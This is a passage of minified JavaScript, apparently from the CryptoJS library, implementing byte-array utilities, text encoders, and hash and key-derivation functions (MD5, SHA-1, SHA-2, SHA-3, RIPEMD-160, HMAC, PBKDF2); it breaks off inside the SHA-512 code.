t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q 